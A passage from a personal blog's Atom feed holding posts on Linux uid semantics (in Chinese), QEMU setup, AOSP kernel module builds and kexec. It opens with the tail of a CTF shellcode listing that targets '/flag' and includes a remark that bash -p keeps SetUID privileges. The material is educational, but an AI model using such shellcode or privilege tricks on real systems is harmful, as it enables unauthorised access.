<span class="nf">.fill</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x90</span>
<span class="nl">arg2:</span> <span class="nf">.string</span> <span class="s">"/flag"</span>
</code></pre></div>  </div>
</details>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[Shellcode challenges in pwn.college.]]></summary></entry><entry><title type="html">Linux 中各种各样的 uid</title><link href="https://hongyi.lu/uid/" rel="alternate" type="text/html" title="Linux 中各种各样的 uid" /><published>2024-09-02T00:00:00+00:00</published><updated>2024-09-02T00:00:00+00:00</updated><id>https://hongyi.lu/uid</id><content type="html" xml:base="https://hongyi.lu/uid/"><![CDATA[<p>本文介绍 Linux 中各种各样的 uid 们。</p>

<h2 id="linux-用户-id">Linux 用户 ID</h2>

<p>Linux 进程会记录三种用户 ID，分别为 <code class="language-plaintext highlighter-rouge">ruid</code>, <code class="language-plaintext highlighter-rouge">euid</code> 和 <code class="language-plaintext highlighter-rouge">suid</code>。</p>

<p>真实用户 ID，<code class="language-plaintext highlighter-rouge">ruid</code> （或者简称为 <code class="language-plaintext highlighter-rouge">uid</code>） 是启动该进程的用户的 ID，每个用户都拥有唯一的 ID。</p>

<p>有效用户 ID（<code class="language-plaintext highlighter-rouge">euid</code>/effective user ID）是系统判断当前进程权限所使用的 ID，在大多数情况下，<code class="language-plaintext highlighter-rouge">euid=ruid</code>。但 SetUID 可执行文件就是一个例外，当一个 SetUID 可执行文件执行时，<code class="language-plaintext highlighter-rouge">euid</code> 会被设置为该<em>文件</em>的拥有者。</p>

<blockquote>
  <blockquote>
    <p><code class="language-plaintext highlighter-rouge">passwd</code> 就是一个 SetUID 程序，任何用户都可以执行它来修改自己的密码。但修改密码这个操作是一个<em>特权</em>行为。</p>
  </blockquote>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ll /usr/bin/passwd
<span class="nt">-r-s</span>–x–x 1 root root 21944 Feb 12  2006 /usr/bin/passwd；
</code></pre></div></div>

<p>保存用户 ID（<code class="language-plaintext highlighter-rouge">suid</code>，不要与 SetUID 程序弄混），则是用于让一个<em>特权</em>程序放弃自己的权限来进行一些操作，并且在操作完毕后恢复<em>特权</em>状态。</p>

<p>当一个非特权进程修改自身的 <code class="language-plaintext highlighter-rouge">euid</code> 时，它只能将 <code class="language-plaintext highlighter-rouge">euid</code> 设为 <code class="language-plaintext highlighter-rouge">ruid</code>, <code class="language-plaintext highlighter-rouge">euid</code> 或者 <code class="language-plaintext highlighter-rouge">suid</code> 当中的值。<code class="language-plaintext highlighter-rouge">suid</code> 允许一个<em>普通</em>用户启动一个 SetUID 进程，并且让它降低权限为普通用户，最后仍能返回特权状态。</p>

<h2 id="setuid-系统调用"><code class="language-plaintext highlighter-rouge">set*uid</code> 系统调用</h2>

<p><code class="language-plaintext highlighter-rouge">int setuid(uid_t uid);</code></p>
<blockquote>
  <blockquote>
    <p>setuid() sets the effective user ID of the calling process. If the calling process is privileged (more precisely: if the process has the CAP_SETUID capability in its user namespace), the real UID and saved set-user-ID are also set.</p>
  </blockquote>
</blockquote>

<p><code class="language-plaintext highlighter-rouge">setuid</code> 通常只修改 <code class="language-plaintext highlighter-rouge">euid</code>，但当调用进程为<em>特权</em>进程时，<code class="language-plaintext highlighter-rouge">setuid</code> 会同时设置 <code class="language-plaintext highlighter-rouge">suid</code> 与 <code class="language-plaintext highlighter-rouge">ruid</code>。</p>

<p><code class="language-plaintext highlighter-rouge">int setreuid(uid_t ruid, uid_t euid);</code>
<code class="language-plaintext highlighter-rouge">int setresuid(uid_t ruid, uid_t euid, uid_t suid);</code></p>
<blockquote>
  <blockquote>
    <p>An unprivileged process may change its real UID, effective UID, and saved set-user-ID, each to one of: the current real UID, the current effective UID, or the current saved set-user-ID.
A privileged process (on Linux, one having the CAP_SETUID capability) may set its real UID, effective UID, and saved set- user-ID to arbitrary values.</p>
  </blockquote>
</blockquote>

<p><em>非特权</em>进程只能将自己的 <code class="language-plaintext highlighter-rouge">ruid</code>，<code class="language-plaintext highlighter-rouge">euid</code>，<code class="language-plaintext highlighter-rouge">suid</code> 设置为三者中的其中之一，但<em>特权</em>进程（拥有 <code class="language-plaintext highlighter-rouge">CAP_SETUID</code> 特权）可以随意设置自己的 <code class="language-plaintext highlighter-rouge">*uid</code>。</p>

<h2 id="执行程序-execve-与-system">执行程序: <code class="language-plaintext highlighter-rouge">execve</code> 与 <code class="language-plaintext highlighter-rouge">system</code></h2>

<h3 id="tldr">tl;dr</h3>
<ul>
  <li>如果被执行的程序是 SetUID 程序，则 <code class="language-plaintext highlighter-rouge">euid</code> 会被变更为<em>该文件</em>的拥有者，如果不是，则 <code class="language-plaintext highlighter-rouge">euid</code> 保持不变。</li>
  <li><code class="language-plaintext highlighter-rouge">suid</code> 会被设为<em>之前</em>的 <code class="language-plaintext highlighter-rouge">euid</code></li>
  <li><code class="language-plaintext highlighter-rouge">ruid</code> 保持不变。</li>
</ul>

<h3 id="bash"><code class="language-plaintext highlighter-rouge">bash</code></h3>
<p><code class="language-plaintext highlighter-rouge">bash</code> 具有安全限制，在正常情况下由 SetUID 程序启动 <code class="language-plaintext highlighter-rouge">bash</code> （例如，<code class="language-plaintext highlighter-rouge">system("/bin/bash")</code>），<code class="language-plaintext highlighter-rouge">bash</code> 会将自己的 <code class="language-plaintext highlighter-rouge">euid</code> 设为 <code class="language-plaintext highlighter-rouge">ruid</code>。可以通过 <code class="language-plaintext highlighter-rouge">-p</code> 参数让 <code class="language-plaintext highlighter-rouge">bash</code> 保留之前的权限。</p>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[本文介绍 Linux 中各种各样的 uid 们。]]></summary></entry><entry><title type="html">QEMU made easy.</title><link href="https://hongyi.lu/qemu_made_easy/" rel="alternate" type="text/html" title="QEMU made easy." /><published>2024-04-29T00:00:00+00:00</published><updated>2024-04-29T00:00:00+00:00</updated><id>https://hongyi.lu/qemu_made_easy</id><content type="html" xml:base="https://hongyi.lu/qemu_made_easy/"><![CDATA[<p>How to quickly run a virtual machine in QEMU.</p>

<h1 id="qemu-basic">QEMU Basic.</h1>

<p>QEMU is a common virtualization tool used to emulate a full system/user application. In this post, we will cover how to set up a basic QEMU full system emulation. In essence, you need two things to boot a full system in QEMU.</p>

<ul>
  <li>Kernel Image</li>
  <li>Root File-system</li>
</ul>

<h1 id="rootfs-made-easy">Rootfs made easy.</h1>

<p>Building a rootfs from scratch can be a daunting task. However, there are tools available that can help you build a rootfs with ease. We can obtain a script named <code class="language-plaintext highlighter-rouge">create-image.sh</code> from <a href="https://github.com/google/syzkaller/blob/master/tools/create-image.sh">here</a>. This script is a part of syzkaller project and is used to create a rootfs for QEMU. The script is well documented and easy to understand. The script uses <code class="language-plaintext highlighter-rouge">debootstrap</code> to create a rootfs. You can install <code class="language-plaintext highlighter-rouge">debootstrap</code> using your package manager.</p>

<h2 id="downloading-nightmare-under-slow-network">Downloading nightmare under slow network.</h2>

<p>There is a small issue with the script’s configuration. By default, <code class="language-plaintext highlighter-rouge">create-image.sh</code> does not cache anything previously downloaded. If the script is interrupted for any reason, it will download everything again. This can be a problem if you have a slow internet connection. To fix this issue, you can change the following line in the script.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DEBOOTSTRAP_PARAMS</span><span class="o">=</span><span class="s2">"--arch=</span><span class="nv">$DEBARCH</span><span class="s2"> --include=</span><span class="nv">$PREINSTALL_PKGS</span><span class="s2"> --components=main,contrib,non-free,non-free-firmware --cache-dir=</span><span class="si">$(</span><span class="nb">pwd</span><span class="si">)</span><span class="s2">/.cache </span><span class="nv">$RELEASE</span><span class="s2"> </span><span class="nv">$DIR</span><span class="s2">"</span>
</code></pre></div></div>

<h1 id="kernel-made-easy">Kernel made easy.</h1>

<p>There are some mythical configuration besides <code class="language-plaintext highlighter-rouge">$ARCH_defconfig</code> that you need if you want to boot smoothly in QEMU. These are the following. These stuff can be found at <a href="https://github.com/google/syzkaller/issues/760">here</a>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y
CONFIG_BINFMT_MISC=y
</code></pre></div></div>

<h1 id="qemu-made-easy">QEMU made easy.</h1>

<p>Now that we have a rootfs and kernel image, we can boot the system using QEMU. The following command will boot the system. I use aarch64 as an example. You can change the architecture according to your kernel image.</p>

<blockquote>
  <p>Note that the kernel cmdline argument <code class="language-plaintext highlighter-rouge">net.ifnames=0</code> is NOT redundant, otherwise the image will boot into emergency mode.</p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>qemu-system-aarch64 <span class="se">\</span>
        <span class="nt">-machine</span> virt,virtualization<span class="o">=</span><span class="nb">true</span>,gic-version<span class="o">=</span>3 <span class="se">\</span>
        <span class="nt">-nographic</span> <span class="se">\</span>
        <span class="nt">-m</span> <span class="nv">size</span><span class="o">=</span>1024M <span class="se">\</span>
        <span class="nt">-cpu</span> max <span class="se">\</span>
        <span class="nt">-smp</span> 2 <span class="se">\</span>
        <span class="nt">-hda</span> ./bookworm.img <span class="se">\ </span>                              <span class="c"># change this to your image path</span>
        <span class="nt">-nic</span> user,model<span class="o">=</span>virtio-net-pci <span class="se">\</span>
        <span class="nt">-kernel</span> ./linux-6.8.8/arch/arm64/boot/Image <span class="se">\ </span>      <span class="c"># change this to your kernel path</span>
        <span class="nt">--append</span> <span class="s2">"console=ttyAMA0 root=/dev/vda rw net.ifnames=0"</span>
</code></pre></div></div>

<h1 id="sharing-between-host-and-guest">Sharing between host and guest.</h1>

<blockquote>
  <p>The following content is taken from <a href="https://superuser.com/questions/628169/how-to-share-a-directory-with-the-host-without-networking-in-qemu">here</a>.</p>
</blockquote>

<p>To begin with, we need to enable the following kernel configuration in the <em>guest</em> kernel.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CONFIG_9P_FS=y
CONFIG_9P_FS_POSIX_ACL=y
CONFIG_9P_FS_SECURITY=y
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NET_9P=y
CONFIG_NET_9P_DEBUG=y
CONFIG_NET_9P_VIRTIO=y
# if you are using aarch64, add the following as well.
CONFIG_PCI=y
CONFIG_PCI_HOST_COMMON=y
CONFIG_PCI_HOST_GENERIC=y
CONFIG_VIRTIO_PCI=y
CONFIG_VIRTIO_BLK=y
CONFIG_VIRTIO_NET=y
</code></pre></div></div>

<p>We then add the following stuff, telling QEMU to map a host directory into the guest.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># original post says to use security_model=passthrough, but it doesn't work for me.
-virtfs local,path=&lt;host-path&gt;,mount_tag=host0,security_model=mapped-xattr,id=host0
</code></pre></div></div>

<p>In the guest, we can mount the shared directory using the following command.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mount -t 9p -o trans=virtio,version=9p2000.L host0 &lt;guest-path&gt;
</code></pre></div></div>

<p>Or you can just add a line in <code class="language-plaintext highlighter-rouge">/etc/fstab</code> to mount the directory automatically.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>host0   &lt;guest-path&gt;  9p      trans=virtio,version=9p2000.L   0 0
</code></pre></div></div>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[How to quickly run a virtual machine in QEMU.]]></summary></entry><entry><title type="html">Android AOSP kernel build, module build, and misc.</title><link href="https://hongyi.lu/android-build/" rel="alternate" type="text/html" title="Android AOSP kernel build, module build, and misc." /><published>2024-04-04T00:00:00+00:00</published><updated>2024-04-04T00:00:00+00:00</updated><id>https://hongyi.lu/android-build</id><content type="html" xml:base="https://hongyi.lu/android-build/"><![CDATA[<p>Building Android AOSP kernel and adding custom kernel modules!</p>

<h2 id="build-release-kernel">Build release kernel.</h2>

<p>First we need to follow the official <a href="https://source.android.com/docs/setup/build/building-pixel-kernels">guide</a>.
For example, if we want to build kernel for Pixel 8 Pro (Husky), we run the following commands to initialize the repo.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>repo init https://android.googlesource.com/kernel/manifest <span class="nt">--depth</span><span class="o">=</span>1 <span class="nt">--groups</span><span class="o">=</span>default,-mips,-darwin,-x86,-riscv <span class="nt">-b</span> android-gs-shusky-5.15-android14-d1
repo <span class="nb">sync</span> <span class="nt">-c</span> <span class="nt">--no-tags</span>
</code></pre></div></div>

<p>Let’s go through these options one by one.</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">https://android.googlesource.com/kernel/manifest</code> is the manifest url of your android build, you might use other mirror like <a href="https://mirrors.tuna.tsinghua.edu.cn/help/AOSP/">Tsinghua</a>.</li>
  <li><code class="language-plaintext highlighter-rouge">--depth=1</code> means we don’t want any history, shrinking the disk usage by much.</li>
  <li><code class="language-plaintext highlighter-rouge">--groups=default,-mips,-darwin,-x86,-riscv</code> means we don’t want to build Android for {mips, x86, and riscv} or install MacOS toolchains (darwin).</li>
  <li><code class="language-plaintext highlighter-rouge">-b android-gs-shusky-5.15-android14-d1</code> is the manifest branch for Pixel 8 Pro, found on <a href="https://source.android.com/docs/setup/build/building-pixel-kernels">guide</a>.</li>
</ol>

<h2 id="build-qpr-kernel-quarterly-platform-release">Build QPR kernel (Quarterly Platform Release)</h2>

<p>You might notice that <code class="language-plaintext highlighter-rouge">https://android.googlesource.com/kernel/manifest</code> does not contain QPR builds (simply replacing the branch suffix <code class="language-plaintext highlighter-rouge">-d1</code> with <code class="language-plaintext highlighter-rouge">qprX-beta</code> does not work). We need to manually modify the <code class="language-plaintext highlighter-rouge">default.xml</code> in <code class="language-plaintext highlighter-rouge">.repo/manifests</code>.</p>

<p>Note that manifests are just declarations indicating where to pull the sources from. Though there is NO <code class="language-plaintext highlighter-rouge">qprX-beta</code> branch manifest for a complete kernel build, there are sub-manifests in each sub-repo. We just need to enable pointing the manifest to them by changing the <code class="language-plaintext highlighter-rouge">&lt;default revision&gt;</code> tag in the manifest <code class="language-plaintext highlighter-rouge">default.xml</code>.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;default</span> <span class="na">revision=</span><span class="s">"android-gs-shusky-5.15-android14-qpr3-beta"</span> <span class="na">remote=</span><span class="s">"aosp"</span> <span class="na">sync-j=</span><span class="s">"4"</span> <span class="nt">/&gt;</span>
</code></pre></div></div>

<p>After modifying the <code class="language-plaintext highlighter-rouge">default.xml</code>, syncing and building the repo, you might encounter errors that say something is missing.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;I am too lazy to re-run the building process to show the error message.&gt;
</code></pre></div></div>

<p>We just add the relevant declarations, like this. You can find the list of AOSP modules in <code class="language-plaintext highlighter-rouge">https://android.googlesource.com/kernel/</code>.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"private/google-modules/uwb/qorvo/qm35"</span> <span class="na">name=</span><span class="s">"kernel/google-modules/uwb/qorvo/qm35"</span> <span class="na">groups=</span><span class="s">"partner"</span> <span class="nt">/&gt;</span>
</code></pre></div></div>

<h2 id="build-kernel-module">Build Kernel Module</h2>

<p>Most existing modules are in <code class="language-plaintext highlighter-rouge">./private/google-modules</code>. For now, I only know how to add a new module in this folder and its sub-folders. I will introduce the following contents.</p>

<ul>
  <li>Bazel setup &amp; reference other module</li>
  <li>Generation of <code class="language-plaintext highlighter-rouge">compile_commands.json</code></li>
  <li>Miscellaneous</li>
</ul>

<h3 id="bazel-setup--reference-other-module">Bazel setup &amp; reference other module</h3>

<p>In this example, I will introduce how to create a new module named <code class="language-plaintext highlighter-rouge">moye</code> and reference <code class="language-plaintext highlighter-rouge">mali_kbase</code> in it.
Let’s create a module in <code class="language-plaintext highlighter-rouge">./private/google-modules/gpu/csfparser/moye</code>. After copying your module codes into it, it should contain the following. Note that we need to create <code class="language-plaintext highlighter-rouge">BUILD.bazel</code>, <code class="language-plaintext highlighter-rouge">Kbuild</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>❯ <span class="nb">ls
</span>bifrost  BUILD.bazel            kbase_defs.h  main.c  Makefile   moye_fw.h   moye_mmu.h     util.c
build    compile_commands.json  Kbuild        main.h  moye_fw.c  moye_mmu.c  moye_regmap.h  util.h
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">BUILD.bazel</code> looks like:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">load</span><span class="p">(</span><span class="s">"//build/kernel/kleaf:kernel.bzl"</span><span class="p">,</span> <span class="s">"kernel_module"</span><span class="p">)</span>

<span class="n">kernel_module</span><span class="p">(</span>
    <span class="n">name</span> <span class="o">=</span> <span class="s">"moye"</span><span class="p">,</span>
    <span class="n">srcs</span> <span class="o">=</span> <span class="n">glob</span><span class="p">([</span>
        <span class="s">"**/*.c"</span><span class="p">,</span>
        <span class="s">"**/*.h"</span><span class="p">,</span>
        <span class="s">"Kbuild"</span><span class="p">,</span>
    <span class="p">])</span> <span class="o">+</span> <span class="p">[</span>
        <span class="s">"//private/google-modules/gpu/mali_kbase:headers"</span><span class="p">,</span>
        <span class="s">"//private/google-modules/gpu/common:headers"</span><span class="p">,</span>
        <span class="s">"//private/google-modules/soc/gs:gs_soc_headers"</span><span class="p">,</span>
    <span class="p">],</span>
    <span class="n">outs</span> <span class="o">=</span> <span class="p">[</span>
        <span class="s">"moye.ko"</span><span class="p">,</span>
    <span class="p">],</span>
    <span class="n">kernel_build</span> <span class="o">=</span> <span class="s">"//private/google-modules/soc/gs:gs_kernel_build"</span><span class="p">,</span>
    <span class="n">visibility</span> <span class="o">=</span> <span class="p">[</span>
        <span class="s">"//private/devices/google:__subpackages__"</span><span class="p">,</span>
        <span class="s">"//private/google-modules/gpu/mali_kbase:__pkg__"</span><span class="p">,</span>
        <span class="s">"//private/google-modules/soc/gs:__pkg__"</span><span class="p">,</span>
    <span class="p">],</span>
    <span class="n">deps</span> <span class="o">=</span> <span class="p">[</span>
        <span class="s">"//private/google-modules/gpu/mali_kbase"</span><span class="p">,</span>
        <span class="s">"//private/google-modules/soc/gs:gs_soc_module"</span><span class="p">,</span>
    <span class="p">],</span>
<span class="p">)</span>
</code></pre></div></div>

<p>Essentially, <code class="language-plaintext highlighter-rouge">BUILD.bazel</code> decides what is available when compiling the module. That is why we have</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">srcs</span> <span class="o">=</span> <span class="n">glob</span><span class="p">([</span>
        <span class="s">"**/*.c"</span><span class="p">,</span> <span class="c1"># including all C files.
</span>        <span class="s">"**/*.h"</span><span class="p">,</span> <span class="c1"># including all header files.
</span>        <span class="s">"Kbuild"</span><span class="p">,</span> <span class="c1"># including the Kbuild of the module.
</span>    <span class="p">])</span> <span class="o">+</span> <span class="p">[</span>
        <span class="c1"># we want to use headers from other modules.
</span>        <span class="s">"//private/google-modules/gpu/mali_kbase:headers"</span><span class="p">,</span>
        <span class="s">"//private/google-modules/gpu/common:headers"</span><span class="p">,</span>
        <span class="s">"//private/google-modules/soc/gs:gs_soc_headers"</span><span class="p">,</span>
    <span class="p">],</span>
</code></pre></div></div>

<p>In particular, <code class="language-plaintext highlighter-rouge">//private/google-modules/gpu/mali_kbase</code> in fact refers to the Bazel target of another module named <code class="language-plaintext highlighter-rouge">mali_kbase</code>. It is located in <code class="language-plaintext highlighter-rouge">./private/google-modules/gpu/mali_kbase</code>. The <code class="language-plaintext highlighter-rouge">visibility</code> and <code class="language-plaintext highlighter-rouge">deps</code> specifies what modules can sees our module and what modules our module depends on. <code class="language-plaintext highlighter-rouge">deps</code> is particularly important if you want to reference other modules.</p>

<p>Now let’s see the <code class="language-plaintext highlighter-rouge">Kbuild</code> file.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># make $(src) as absolute path if it isn't already, by prefixing $(srctree)</span>
src:<span class="o">=</span><span class="si">$(</span><span class="k">if</span> <span class="si">$(</span>patsubst /%,,<span class="si">$(</span>src<span class="si">))</span>,<span class="si">$(</span>srctree<span class="si">)</span>/<span class="si">$(</span>src<span class="si">)</span>,<span class="si">$(</span>src<span class="si">))</span>

obj-m +<span class="o">=</span> moye.o	
moye-objs :<span class="o">=</span> main.o util.o moye_fw.o moye_mmu.o

ccflags-y +<span class="o">=</span> <span class="se">\</span>
    <span class="si">$(</span>DEFINES<span class="si">)</span> <span class="se">\</span>
    <span class="nt">-I</span><span class="si">$(</span>src<span class="si">)</span>/../../common/include <span class="se">\</span>
    <span class="nt">-I</span><span class="si">$(</span>src<span class="si">)</span>/../../mali_kbase <span class="se">\</span>
    <span class="nt">-I</span><span class="si">$(</span>srctree<span class="si">)</span>/include/linux <span class="se">\</span>
    <span class="nt">-DMALI_CUSTOMER_RELEASE</span><span class="o">=</span>1 <span class="se">\</span>
    <span class="nt">-DMALI_USE_CSF</span><span class="o">=</span>1 <span class="se">\</span>
    <span class="nt">-DMALI_UNIT_TEST</span><span class="o">=</span>0 <span class="se">\</span>
    <span class="nt">-DMALI_JIT_PRESSURE_LIMIT_BASE</span><span class="o">=</span>0 <span class="se">\</span>
</code></pre></div></div>

<p>Except the usual <code class="language-plaintext highlighter-rouge">obj-m</code> and <code class="language-plaintext highlighter-rouge">moye-objs</code> for kernel module, we add <code class="language-plaintext highlighter-rouge">CFLAGS</code> via <code class="language-plaintext highlighter-rouge">ccflags-y</code>. The <code class="language-plaintext highlighter-rouge">BUILD.bazel</code> only enables our module see the additional headers, they still require manual inclusion, such as <code class="language-plaintext highlighter-rouge">-I$(src)/../../common/include</code>. Note that Bazel respects the original folder structure, so we need to jump out of our folder using <code class="language-plaintext highlighter-rouge">../</code>.</p>

<p>As for <code class="language-plaintext highlighter-rouge">-DMALI_XXX_XXX={0,1}</code>, these defines are for the headers in <code class="language-plaintext highlighter-rouge">mali_kbase</code>. Since we directly include these header files in a hacky way, these headers need some defines to work properly. So, we just add these defines manually and make sure they align with the defines in <code class="language-plaintext highlighter-rouge">mali_kbase</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#ifdef MALI_CUSTOMER_RELEASE
</span><span class="c1">// code requires these defines</span>
<span class="cp">#endif
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Makefile</code> is rather boring. We need to suppress some warnings as we are referencing another module.</p>

<div class="language-makefile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">KERNEL_SRC</span> <span class="o">?=</span> /lib/modules/<span class="nf">$(</span><span class="nb">shell</span> <span class="nb">uname</span> <span class="nt">-r</span><span class="nf">)</span>/build
<span class="nv">M</span> <span class="o">?=</span> <span class="nf">$(</span><span class="nb">shell</span> <span class="nb">pwd</span><span class="nf">)</span>

<span class="nv">KBUILD_OPTIONS</span> <span class="o">+=</span> <span class="nv">$(KBUILD_EXTRA)</span> <span class="c"># Extra config if any</span>

<span class="nv">EXTRA_CFLAGS</span> <span class="o">+=</span> <span class="nt">-I</span><span class="nv">$(M)</span>
<span class="nv">EXTRA_CFLAGS</span> <span class="o">+=</span> <span class="nt">-I</span><span class="nv">$(M)</span>/../../common/include
<span class="nv">EXTRA_CFLAGS</span> <span class="o">+=</span> <span class="nt">-Wno-unused-variable</span> <span class="nt">-Wno-unused-function</span> <span class="nt">-Wno-missing-prototypes</span>

<span class="nv">EXTRA_SYMBOLS</span> <span class="o">=</span> <span class="nv">$(OUT_DIR)</span>/../private/google-modules/gpu/mali_kbase/Module.symvers

<span class="k">include</span><span class="sx"> $(KERNEL_SRC)/../private/google-modules/soc/gs/Makefile.include</span>

<span class="nl">modules modules_install clean</span><span class="o">:</span>
	<span class="nv">$(MAKE)</span> <span class="nt">-C</span> <span class="nv">$(KERNEL_SRC)</span> <span class="nv">M</span><span class="o">=</span><span class="nv">$(M)</span> <span class="nv">W</span><span class="o">=</span>1 <span class="nv">$(KBUILD_OPTIONS)</span> <span class="nv">EXTRA_CFLAGS</span><span class="o">=</span><span class="s2">"</span><span class="nv">$(EXTRA_CFLAGS)</span><span class="s2">"</span> <span class="nv">KBUILD_EXTRA_SYMBOLS</span><span class="o">=</span><span class="s2">"</span><span class="nv">$(EXTRA_SYMBOLS)</span><span class="s2">"</span> <span class="err">$</span><span class="o">(</span>@<span class="o">)</span>
</code></pre></div></div>

<h3 id="generation-of-compile_commandsjson">Generation of <code class="language-plaintext highlighter-rouge">compile_commands.json</code></h3>

<p>Though AOSP provides some vague instructions on how to generate <code class="language-plaintext highlighter-rouge">compile_commands.json</code> for <em>common</em> Android kernel, I didn’t find any materials on how to generate this in a dist release. And I’m tired of jujitsu with Bazel. So, I decide just using <code class="language-plaintext highlighter-rouge">bear</code> to generate <code class="language-plaintext highlighter-rouge">compile_commands.json</code> for my module.</p>

<p>To begin with, we need to copy <code class="language-plaintext highlighter-rouge">bear</code> into the building environment. Since <code class="language-plaintext highlighter-rouge">clang</code> must be visible the environment, we just copy it there (it’s dirty but works).</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp</span> /usr/bin/bear ./prebuilts/clang/host/linux-x86/clang-&lt;version&gt;/bin <span class="c"># let bear visible in the building environment.</span>
</code></pre></div></div>

<p>Then we just simply add <code class="language-plaintext highlighter-rouge">bear</code> into the <code class="language-plaintext highlighter-rouge">Makefile</code> of our module, or any module you want to have <code class="language-plaintext highlighter-rouge">compile_commands.json</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bear <span class="nt">--</span> <span class="si">$(</span>MAKE<span class="si">)</span> <span class="nt">-C</span> <span class="si">$(</span>KERNEL_SRC<span class="si">)</span> <span class="nv">M</span><span class="o">=</span><span class="si">$(</span>M<span class="si">)</span> <span class="nv">W</span><span class="o">=</span>1 <span class="si">$(</span>KBUILD_OPTIONS<span class="si">)</span> <span class="nv">EXTRA_CFLAGS</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span>EXTRA_CFLAGS<span class="si">)</span><span class="s2">"</span> <span class="nv">KBUILD_EXTRA_SYMBOLS</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span>EXTRA_SYMBOLS<span class="si">)</span><span class="s2">"</span> <span class="si">$(</span>@<span class="si">)</span>
</code></pre></div></div>

<blockquote>
  <p>PS: You shouldn’t add <code class="language-plaintext highlighter-rouge">bear --</code> to targets like <code class="language-plaintext highlighter-rouge">module_install</code> or <code class="language-plaintext highlighter-rouge">module_clean</code> as they invoke <em>no</em> compile commands, which generates an empty <code class="language-plaintext highlighter-rouge">compile_commands.json</code> and overrides the correct one.</p>
</blockquote>

<h3 id="miscellaneous">Miscellaneous</h3>

<ul>
  <li>Note that Android kernel module does not support the default <code class="language-plaintext highlighter-rouge">init_module</code> and <code class="language-plaintext highlighter-rouge">cleanup_module</code>. Using these two directly crashes the phone. One needs to explicitly specifies the entry point using <code class="language-plaintext highlighter-rouge">module_init()</code> and <code class="language-plaintext highlighter-rouge">module_exit()</code> macros.</li>
  <li>Only the <code class="language-plaintext highlighter-rouge">T</code> symbols in the <code class="language-plaintext highlighter-rouge">/proc/kallsyms</code> can be referenced in other modules.</li>
</ul>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[Building Android AOSP kernel and adding custom kernel modules!]]></summary></entry><entry><title type="html">How to use kexec for fast reboot/crashdump.</title><link href="https://hongyi.lu/kexec/" rel="alternate" type="text/html" title="How to use kexec for fast reboot/crashdump." /><published>2023-08-21T00:00:00+00:00</published><updated>2023-08-21T00:00:00+00:00</updated><id>https://hongyi.lu/kexec</id><content type="html" xml:base="https://hongyi.lu/kexec/"><![CDATA[<p>How to use kexec for fast reboot/crashdump?</p>

<h2 id="what-is-kexec">What is <code class="language-plaintext highlighter-rouge">kexec</code>?</h2>

<p><code class="language-plaintext highlighter-rouge">kexec</code> is a <a href="https://linux.die.net/man/8/kexec">system call</a>
that allows user to load a kernel into the memory, and boot
directly from it, without time-consuming bootloading.</p>

<p>This is useful for kernel developers or other people who need
to reboot very quickly without waiting for the whole BIOS boot
process to finish. Moreover, it is also used to boot up an
“emergency kernel” upon crash (e.g., <code class="language-plaintext highlighter-rouge">panic()</code>). This
<a href="https://www.kernel.org/doc/ols/2005/ols2005v1-pages-177-188.pdf">material</a>
explains this.</p>

<h2 id="install-and-config-kexec">Install and Config <code class="language-plaintext highlighter-rouge">kexec</code></h2>

<h3 id="kernel-configuration">Kernel Configuration</h3>

<p>To use <code class="language-plaintext highlighter-rouge">kexec</code>, the following kernel config must be enabled.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Processor type and features ---&gt;
    [*] kexec system call
    [*] kexec file based system call
</code></pre></div></div>

<p>If you need crashdump, then the following config is needed
as well.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Processor type and features ---&gt;
    [*] kexec system call
    [*] kernel crash dumps
    [*] Build a relocatable kernel
Kernel hacking  ---&gt;
    [*] Kernel debugging
    Compile-time checks and compiler options ---&gt;
        [*] Compile the kernel with debug info
File systems  ---&gt;
    Pseudo filesystems  ---&gt;
        -*- /proc file system support
        [*]   /proc/kcore support
        [*]   /proc/vmcore support
</code></pre></div></div>

<h3 id="grub-configuration">GRUB Configuration</h3>

<p>One need to prepare sufficient space for <code class="language-plaintext highlighter-rouge">kexec</code> to put the
